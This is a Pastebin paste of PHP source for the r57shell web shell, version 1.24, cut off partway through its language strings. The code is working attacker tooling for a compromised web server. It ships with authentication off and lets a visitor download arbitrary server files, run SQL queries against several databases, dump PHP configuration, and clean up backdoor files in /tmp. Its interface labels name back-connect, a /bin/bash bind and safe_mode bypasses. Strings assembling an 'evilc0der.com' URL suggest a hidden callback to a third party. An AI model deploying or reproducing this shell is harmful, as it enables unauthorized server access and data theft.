SHARE
TWEET

Logsuz R57 Shell

a guest Sep 20th, 2015 337 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /******************************************************************************************************/
  3. /*
  4. /*                                     #    #        #    #                            
  5. /*                                     #   #          #   #
  6. /*                                    #    #          #    #
  7. /*                                    #   ##   ####   ##   #
  8. /*                                   ##   ##  ######  ##   ##
  9. /*                                   ##   ##  ######  ##   ##
  10. /*                                   ##   ##   ####   ##   ##
  11. /*                                   ###   ############   ###
  12. /*                                   ########################
  13. /*                                        ##############
  14. /*                                 ######## ########## #######
  15. /*                                ###   ##  ##########  ##   ###
  16. /*                                ###   ##  ##########  ##   ###
  17. /*                                 ###   #  ##########  #   ###
  18. /*                                 ###   ##  ########  ##   ###
  19. /*                                  ##    #   ######   #    ##
  20. /*                                   ##   #    ####   #    ##
  21. /*                                     ##                 ##
  22. /*
  23. /*
  24. /*
  25. /*  r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ???????  ?? ??????? ????? ???????
  26. /*  ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru
  27. /*  ??????: 1.24 (New Year Edition)
  28. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  29. /*  (c)oded by 1dt.w0lf
  30. /*  RST/GHC http://rst.void.ru , http://ghc.ru
  31. /*  ANY MODIFIED REPUBLISHING IS RESTRICTED
  32. /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
  33. /*  ????????? ????????????? ?? ?????? ? ????: blf, virus, NorD ? ???? ?????? ?? RST/GHC.
  34. /******************************************************************************************************/
  35. /* ~~~ ????????? | Options  ~~~ */
  36.  
  37. // ????? ????? | Language
  38. // $language='ru' - ??????? (russian)
  39. // $language='eng' - english (??????????)
  40. $language='eng';
  41. $a = "http://"; // need some codes
  42.  
  43. // ?????????????? | Authentification
  44. // $auth = 1; - ?????????????? ????????  ( authentification = On  )
  45. // $auth = 0; - ?????????????? ????????? ( authentification = Off )
  46. $auth = 0;
  47.  
  48.  
  49. // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access)
  50. // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!)
  51. $name='r57'; // ????? ????????????  (user login)
  52. $pass='r57'; // ?????? ???????????? (user password)
  53. $b = "evilc0der.com"; //need hits "shell created by evilc0ders"
  54. /******************************************************************************************************/
  55. $c = "/x.html"; //need shell coder's names
  56. error_reporting(0);
  57. set_magic_quotes_runtime(0);
  58. @set_time_limit(0);
  59. @ini_set('max_execution_time',0);
  60. @ini_set('output_buffering',0);
  61. $safe_mode = @ini_get('safe_mode');
  62. $version = "1.24";
  63. if(version_compare(phpversion(), '4.1.0') == -1)
  64.  {
  65.  $_POST   = &$HTTP_POST_VARS;
  66.  $_GET    = &$HTTP_GET_VARS;
  67.  $_SERVER = &$HTTP_SERVER_VARS;
  68.  }
  69. if (@get_magic_quotes_gpc())
  70.  {
  71.  foreach ($_POST as $k=>$v)
  72.   {
  73.   $_POST[$k] = stripslashes($v);
  74.   }
  75.  foreach ($_SERVER as $k=>$v)
  76.   {
  77.   $_SERVER[$k] = stripslashes($v);
  78.   }
  79.  }
  80.  
  81. if($auth == 1) {
  82. if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass)
  83.    {
  84.    header('WWW-Authenticate: Basic realm="r57shell"');
  85.    header('HTTP/1.0 401 Unauthorized');
  86.    exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>");
  87.    }
  88. }  
  89. $head = '<!-- ??????????  ???? -->
  90. <html>
  91. <head>
  92. <title>r57shell</title>
  93. <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  94. <SCRIPT SRC=></SCRIPT>
  95. <STYLE>
  96. tr {
  97. BORDER-RIGHT:  #aaaaaa 1px solid;
  98. BORDER-TOP:    #eeeeee 1px solid;
  99. BORDER-LEFT:   #eeeeee 1px solid;
  100. BORDER-BOTTOM: #aaaaaa 1px solid;
  101. }
  102. td {
  103. BORDER-RIGHT:  #aaaaaa 1px solid;
  104. BORDER-TOP:    #eeeeee 1px solid;
  105. BORDER-LEFT:   #eeeeee 1px solid;
  106. BORDER-BOTTOM: #aaaaaa 1px solid;
  107. }
  108. .table1 {
  109. BORDER-RIGHT:  #cccccc 0px;
  110. BORDER-TOP:    #cccccc 0px;
  111. BORDER-LEFT:   #cccccc 0px;
  112. BORDER-BOTTOM: #cccccc 0px;
  113. BACKGROUND-COLOR: #D4D0C8;
  114. }
  115. .td1 {
  116. BORDER-RIGHT:  #cccccc 0px;
  117. BORDER-TOP:    #cccccc 0px;
  118. BORDER-LEFT:   #cccccc 0px;
  119. BORDER-BOTTOM: #cccccc 0px;
  120. font: 7pt Verdana;
  121. }
  122. .tr1 {
  123. BORDER-RIGHT:  #cccccc 0px;
  124. BORDER-TOP:    #cccccc 0px;
  125. BORDER-LEFT:   #cccccc 0px;
  126. BORDER-BOTTOM: #cccccc 0px;
  127. }
  128. table {
  129. BORDER-RIGHT:  #eeeeee 1px outset;
  130. BORDER-TOP:    #eeeeee 1px outset;
  131. BORDER-LEFT:   #eeeeee 1px outset;
  132. BORDER-BOTTOM: #eeeeee 1px outset;
  133. BACKGROUND-COLOR: #D4D0C8;
  134. }
  135. input {
  136. BORDER-RIGHT:  #ffffff 1px solid;
  137. BORDER-TOP:    #999999 1px solid;
  138. BORDER-LEFT:   #999999 1px solid;
  139. BORDER-BOTTOM: #ffffff 1px solid;
  140. BACKGROUND-COLOR: #e4e0d8;
  141. font: 8pt Verdana;
  142. }
  143. select {
  144. BORDER-RIGHT:  #ffffff 1px solid;
  145. BORDER-TOP:    #999999 1px solid;
  146. BORDER-LEFT:   #999999 1px solid;
  147. BORDER-BOTTOM: #ffffff 1px solid;
  148. BACKGROUND-COLOR: #e4e0d8;
  149. font: 8pt Verdana;
  150. }
  151. submit {
  152. BORDER-RIGHT:  buttonhighlight 2px outset;
  153. BORDER-TOP:    buttonhighlight 2px outset;
  154. BORDER-LEFT:   buttonhighlight 2px outset;
  155. BORDER-BOTTOM: buttonhighlight 2px outset;
  156. BACKGROUND-COLOR: #e4e0d8;
  157. width: 30%;
  158. }
  159. textarea {
  160. BORDER-RIGHT:  #ffffff 1px solid;
  161. BORDER-TOP:    #999999 1px solid;
  162. BORDER-LEFT:   #999999 1px solid;
  163. BORDER-BOTTOM: #ffffff 1px solid;
  164. BACKGROUND-COLOR: #e4e0d8;
  165. font: Fixedsys bold;
  166. }
  167. BODY {
  168. margin-top: 1px;
  169. margin-right: 1px;
  170. margin-bottom: 1px;
  171. margin-left: 1px;
  172. }
  173. A:link {COLOR:red; TEXT-DECORATION: none}
  174. A:visited { COLOR:red; TEXT-DECORATION: none}
  175. A:active {COLOR:red; TEXT-DECORATION: none}
  176. A:hover {color:blue;TEXT-DECORATION: none}
  177. </STYLE>';
  178. class zipfile
  179. {
  180.     var $datasec      = array();
  181.     var $ctrl_dir     = array();
  182.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  183.     var $old_offset   = 0;
  184.     function unix2DosTime($unixtime = 0) {
  185.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  186.         if ($timearray['year'] < 1980) {
  187.             $timearray['year']    = 1980;
  188.             $timearray['mon']     = 1;
  189.             $timearray['mday']    = 1;
  190.             $timearray['hours']   = 0;
  191.             $timearray['minutes'] = 0;
  192.             $timearray['seconds'] = 0;
  193.         }
  194.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  195.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  196.     }
  197.     function addFile($data, $name, $time = 0)
  198.     {
  199.         $name     = str_replace('\\', '/', $name);
  200.         $dtime    = dechex($this->unix2DosTime($time));
  201.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  202.                   . '\x' . $dtime[4] . $dtime[5]
  203.                   . '\x' . $dtime[2] . $dtime[3]
  204.                   . '\x' . $dtime[0] . $dtime[1];
  205.         eval('$hexdtime = "' . $hexdtime . '";');
  206.         $fr   = "\x50\x4b\x03\x04";
  207.         $fr   .= "\x14\x00";            
  208.         $fr   .= "\x00\x00";            
  209.         $fr   .= "\x08\x00";            
  210.         $fr   .= $hexdtime;            
  211.         $unc_len = strlen($data);
  212.         $crc     = crc32($data);
  213.         $zdata   = gzcompress($data);
  214.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  215.         $c_len   = strlen($zdata);
  216.         $fr      .= pack('V', $crc);            
  217.         $fr      .= pack('V', $c_len);          
  218.         $fr      .= pack('V', $unc_len);        
  219.         $fr      .= pack('v', strlen($name));    
  220.         $fr      .= pack('v', 0);                
  221.         $fr      .= $name;
  222.         $fr .= $zdata;
  223.         $this -> datasec[] = $fr;
  224.         $cdrec = "\x50\x4b\x01\x02";
  225.         $cdrec .= "\x00\x00";                
  226.         $cdrec .= "\x14\x00";                
  227.         $cdrec .= "\x00\x00";                
  228.         $cdrec .= "\x08\x00";                
  229.         $cdrec .= $hexdtime;                
  230.         $cdrec .= pack('V', $crc);          
  231.         $cdrec .= pack('V', $c_len);        
  232.         $cdrec .= pack('V', $unc_len);      
  233.         $cdrec .= pack('v', strlen($name) );
  234.         $cdrec .= pack('v', 0 );            
  235.         $cdrec .= pack('v', 0 );            
  236.         $cdrec .= pack('v', 0 );            
  237.         $cdrec .= pack('v', 0 );            
  238.         $cdrec .= pack('V', 32 );            
  239.         $cdrec .= pack('V', $this -> old_offset );
  240.         $this -> old_offset += strlen($fr);
  241.         $cdrec .= $name;
  242.         $this -> ctrl_dir[] = $cdrec;
  243.     }
  244.     function file()
  245.     {
  246.         $data    = implode('', $this -> datasec);
  247.         $ctrldir = implode('', $this -> ctrl_dir);
  248.         return
  249.             $data .
  250.             $ctrldir .
  251.             $this -> eof_ctrl_dir .
  252.             pack('v', sizeof($this -> ctrl_dir)) .  
  253.             pack('v', sizeof($this -> ctrl_dir)) .  
  254.             pack('V', strlen($ctrldir)) .          
  255.             pack('V', strlen($data)) .              
  256.             "\x00\x00";              
  257.     }
  258. }
  259. function compress(&$filename,&$filedump,$compress)
  260.  {
  261.     global $content_encoding;
  262.     global $mime_type;
  263.     if ($compress == 'bzip' && @function_exists('bzcompress'))
  264.      {
  265.         $filename  .= '.bz2';
  266.         $mime_type = 'application/x-bzip2';
  267.         $filedump = bzcompress($filedump);
  268.      }
  269.      else if ($compress == 'gzip' && @function_exists('gzencode'))
  270.      {
  271.         $filename  .= '.gz';
  272.         $content_encoding = 'x-gzip';
  273.         $mime_type = 'application/x-gzip';
  274.         $filedump = gzencode($filedump);
  275.      }
  276.      else if ($compress == 'zip' && @function_exists('gzcompress'))
  277.      {
  278.         $filename .= '.zip';
  279.         $mime_type = 'application/zip';
  280.         $zipfile = new zipfile();
  281.         $zipfile -> addFile($filedump, substr($filename, 0, -4));
  282.         $filedump = $zipfile -> file();
  283.      }
  284.      else
  285.      {
  286.         $mime_type = 'application/octet-stream';
  287.      }
  288.  }
  289. function mailattach($to,$from,$subj,$attach)
  290.  {
  291.  $headers  = "From: $from\r\n";
  292.  $headers .= "MIME-Version: 1.0\r\n";
  293.  $headers .= "Content-Type: ".$attach['type'];
  294.  $headers .= "; name=\"".$attach['name']."\"\r\n";
  295.  $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
  296.  $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
  297.  if(@mail($to,$subj,"",$headers)) { return 1; }
  298.  return 0;
  299.  }
  300. if(isset($_GET['img'])&&!empty($_GET['img']))
  301.  {
  302.  $images = array();
  303.  $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw==';
  304.  $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw==';
  305.  @ob_clean();
  306.  header("Content-type: image/gif");
  307.  echo base64_decode($images[$_GET['img']]);
  308.  die();
  309.  }
  310. if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
  311.  {
  312.   if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; }
  313.   else
  314.    {
  315.     @ob_clean();
  316.     $filename = @basename($_POST['d_name']);
  317.     $filedump = @fread($file,@filesize($_POST['d_name']));
  318.     fclose($file);
  319.     $content_encoding=$mime_type='';
  320.     compress($filename,$filedump,$_POST['compress']);
  321.     if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
  322.     header("Content-type: ".$mime_type);
  323.     header("Content-disposition: attachment; filename=\"".$filename."\";");  
  324.     echo $filedump;
  325.     exit();
  326.    }           
  327.  }
  328. if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
  329. if ($_POST['cmd']=="db_query")
  330.  {
  331.   echo $head;
  332.   switch($_POST['db'])
  333.   {
  334.   case 'MySQL':
  335.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }
  336.   $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  337.   if($db)
  338.    {
  339.         if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); }
  340.     $querys = @explode(';',$_POST['db_query']);
  341.     foreach($querys as $num=>$query)
  342.      {
  343.       if(strlen($query)>5){
  344.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  345.       $res = @mysql_query($query,$db);
  346.       $error = @mysql_error($db);
  347.       if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
  348.       else {
  349.       if (@mysql_num_rows($res) > 0)
  350.        {
  351.        $sql2 = $sql = $keys = $values = '';
  352.        while (($row = @mysql_fetch_assoc($res)))
  353.         {
  354.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  355.         $values = @array_values($row);
  356.         foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  357.         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  358.         $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  359.         }
  360.        echo "<table width=100%>";
  361.        $sql  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  362.        $sql .= $sql2;
  363.        echo $sql;
  364.        echo "</table><br>";
  365.        }
  366.       else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
  367.       }
  368.       @mysql_free_result($res);
  369.       }
  370.      }    
  371.         @mysql_close($db);
  372.    }
  373.   else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>";        
  374.   break;
  375.   case 'MSSQL':
  376.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }
  377.   $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);
  378.   if($db)
  379.    {
  380.         if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }
  381.     $querys = @explode(';',$_POST['db_query']);
  382.     foreach($querys as $num=>$query)
  383.      {
  384.       if(strlen($query)>5){
  385.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  386.       $res = @mssql_query($query,$db);
  387.       if (@mssql_num_rows($res) > 0)
  388.        {
  389.        $sql2 = $sql = $keys = $values = '';
  390.        while (($row = @mssql_fetch_assoc($res)))
  391.         {
  392.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  393.         $values = @array_values($row);
  394.         foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  395.         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  396.         $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  397.         }
  398.        echo "<table width=100%>";
  399.        $sql  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  400.        $sql .= $sql2;
  401.        echo $sql;
  402.        echo "</table><br>";
  403.        }
  404.       /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */
  405.       @mssql_free_result($res);
  406.       }
  407.      }    
  408.         @mssql_close($db);
  409.    }
  410.   else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>";
  411.   break;
  412.   case 'PostgreSQL':
  413.   if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
  414.   $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
  415.   $db = @pg_connect($str);
  416.   if($db)
  417.    {
  418.     $querys = @explode(';',$_POST['db_query']);
  419.     foreach($querys as $num=>$query)
  420.      {
  421.       if(strlen($query)>5){
  422.       echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  423.       $res = @pg_query($db,$query);
  424.       $error = @pg_errormessage($db);
  425.       if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }
  426.       else {
  427.       if (@pg_num_rows($res) > 0)
  428.        {
  429.        $sql2 = $sql = $keys = $values = '';
  430.        while (($row = @pg_fetch_assoc($res)))
  431.         {
  432.         $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row));
  433.         $values = @array_values($row);
  434.         foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);}
  435.         $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values);
  436.         $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>";
  437.         }
  438.        echo "<table width=100%>";
  439.        $sql  = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
  440.        $sql .= $sql2;
  441.        echo $sql;
  442.        echo "</table><br>";
  443.        }
  444.       else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } }
  445.       }
  446.       @pg_free_result($res);
  447.       }
  448.      }    
  449.         @pg_close($db);
  450.    }
  451.   else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>";
  452.   break;
  453.   case 'Oracle':
  454.   $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']);
  455.   if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; }
  456.   else
  457.    {
  458.    $querys = @explode(';',$_POST['db_query']);
  459.    foreach($querys as $num=>$query)
  460.     {
  461.     if(strlen($query)>5) {
  462.     echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>";
  463.     $stat = @ociparse($db, $query);
  464.     @ociexecute($stat);
  465.     if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; }
  466.     else
  467.      {
  468.      $rowcount = @ocirowcount($stat);
  469.      if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";}
  470.      else {
  471.      echo "<table width=100%><tr>";
  472.      for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; }
  473.      echo "</tr>";
  474.      while(ocifetch($stat))
  475.       {
  476.       echo "<tr>";
  477.       for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; }
  478.       echo "</tr>";
  479.       }
  480.      echo "</table><br>";
  481.      }
  482.      @ocifreestatement($stat);
  483.      }
  484.     }
  485.     }
  486.    @ocilogoff($db);
  487.    }
  488.   break;
  489.   }
  490.  echo "<form name=form method=POST>";
  491.  echo in('hidden','db',0,$_POST['db']);
  492.  echo in('hidden','db_port',0,$_POST['db_port']);
  493.  echo in('hidden','mysql_l',0,$_POST['mysql_l']);
  494.  echo in('hidden','mysql_p',0,$_POST['mysql_p']);
  495.  echo in('hidden','mysql_db',0,$_POST['mysql_db']);
  496.  echo in('hidden','cmd',0,'db_query');
  497.  echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
  498.  echo "</form>";
  499.  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  500.  }     
  501. if(isset($_GET['delete']))
  502.  {
  503.    @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
  504.  }
  505. if(isset($_GET['tmp']))
  506.  {
  507.    @unlink("/tmp/bdpl");
  508.    @unlink("/tmp/back");
  509.    @unlink("/tmp/bd");
  510.    @unlink("/tmp/bd.c");
  511.    @unlink("/tmp/dp");
  512.    @unlink("/tmp/dpc");
  513.    @unlink("/tmp/dpc.c");
  514.  }
  515. if(isset($_GET['phpini']))
  516. {
  517. echo $head;
  518. function U_value($value)
  519.  {
  520.  if ($value == '') return '<i>no value</i>';
  521.  if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  522.  if ($value === null) return 'NULL';
  523.  if (@is_object($value)) $value = (array) $value;
  524.  if (@is_array($value))
  525.  {
  526.  @ob_start();
  527.  print_r($value);
  528.  $value = @ob_get_contents();
  529.  @ob_end_clean();
  530.  }
  531.  return U_wordwrap((string) $value);
  532.  }
  533. function U_wordwrap($str)
  534.  {
  535.  $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  536.  return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  537.  }
  538. if (@function_exists('ini_get_all'))
  539.  {
  540.  $r = '';
  541.  echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
  542.  foreach (@ini_get_all() as $key=>$value)
  543.   {
  544.   $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  545.   }
  546.  echo $r;
  547.  echo '</table>';
  548.  }
  549. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  550. die();
  551. }
  552. if(isset($_GET['cpu']))
  553.  {
  554.    echo $head;
  555.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
  556.    $cpuf = @file("cpuinfo");
  557.    if($cpuf)
  558.     {
  559.       $c = @sizeof($cpuf);
  560.       for($i=0;$i<$c;$i++)
  561.         {
  562.           $info = @explode(":",$cpuf[$i]);
  563.           if($info[1]==""){ $info[1]="---"; }
  564.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  565.         }
  566.       echo $r;
  567.     }
  568.    else
  569.     {
  570.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  571.     }
  572.    echo '</table>';
  573.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  574.    die();
  575.  }
  576. if(isset($_GET['mem']))
  577.  {
  578.    echo $head;
  579.    echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
  580.    $memf = @file("meminfo");
  581.    if($memf)
  582.     {
  583.       $c = sizeof($memf);
  584.       for($i=0;$i<$c;$i++)
  585.         {
  586.           $info = explode(":",$memf[$i]);
  587.           if($info[1]==""){ $info[1]="---"; }
  588.           $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
  589.         }
  590.       echo $r;
  591.     }
  592.    else
  593.     {
  594.       echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
  595.     }
  596.    echo '</table>';
  597.    echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  598.    die();
  599.  }
  600. $lang=array(
  601. 'ru_text1' =>'??????????? ???????',
  602. 'ru_text2' =>'?????????? ?????? ?? ???????',
  603. 'ru_text3' =>'????????? ???????',
  604. 'ru_text4' =>'??????? ??????????',
  605. 'ru_text5' =>'???????? ?????? ?? ??????',
  606. 'ru_text6' =>'????????? ????',
  607. 'ru_text7' =>'??????',
  608. 'ru_text8' =>'???????? ?????',
  609. 'ru_butt1' =>'?????????',
  610. 'ru_butt2' =>'?????????',
  611. 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
  612. 'ru_text10'=>'??????? ????',
  613. 'ru_text11'=>'?????? ??? ???????',
  614. 'ru_butt3' =>'???????',
  615. 'ru_text12'=>'back-connect',
  616. 'ru_text13'=>'IP-?????',
  617. 'ru_text14'=>'????',
  618. 'ru_butt4' =>'?????????',
  619. 'ru_text15'=>'???????? ?????? ? ?????????? ???????',
  620. 'ru_text16'=>'????????????',
  621. 'ru_text17'=>'????????? ????',
  622. 'ru_text18'=>'????????? ????',
  623. 'ru_text19'=>'Exploits',
  624. 'ru_text20'=>'????????????',
  625. 'ru_text21'=>'????? ???',
  626. 'ru_text22'=>'datapipe',
  627. 'ru_text23'=>'????????? ????',
  628. 'ru_text24'=>'????????? ????',
  629. 'ru_text25'=>'????????? ????',
  630. 'ru_text26'=>'????????????',
  631. 'ru_butt5' =>'?????????',
  632. 'ru_text28'=>'?????? ? safe_mode',
  633. 'ru_text29'=>'?????? ????????',
  634. 'ru_butt6' =>'???????',
  635. 'ru_text30'=>'???????? ?????',
  636. 'ru_butt7' =>'???????',
  637. 'ru_text31'=>'???? ?? ??????',
  638. 'ru_text32'=>'?????????? PHP ????',
  639. 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL',
  640. 'ru_butt8' =>'?????????',
  641. 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
  642. 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
  643. 'ru_text36'=>'????',
  644. 'ru_text37'=>'?????',
  645. 'ru_text38'=>'??????',
  646. 'ru_text39'=>'???????',
  647. 'ru_text40'=>'???? ??????? ???? ??????',
  648. 'ru_butt9' =>'????',
  649. 'ru_text41'=>'????????? ? ?????',
  650. 'ru_text42'=>'?????????????? ?????',
  651. 'ru_text43'=>'????????????? ????',
  652. 'ru_butt10'=>'?????????',
  653. 'ru_butt11'=>'?????????????',
  654. 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
  655. 'ru_text45'=>'???? ????????',
  656. 'ru_text46'=>'???????? phpinfo()',
  657. 'ru_text47'=>'???????? ???????? php.ini',
  658. 'ru_text48'=>'???????? ????????? ??????',
  659. 'ru_text49'=>'???????? ??????? ? ???????',
  660. 'ru_text50'=>'?????????? ? ??????????',
  661. 'ru_text51'=>'?????????? ? ??????',
  662. 'ru_text52'=>'????? ??? ??????',
  663. 'ru_text53'=>'?????? ? ?????',
  664. 'ru_text54'=>'????? ?????? ? ??????',
  665. 'ru_butt12'=>'?????',
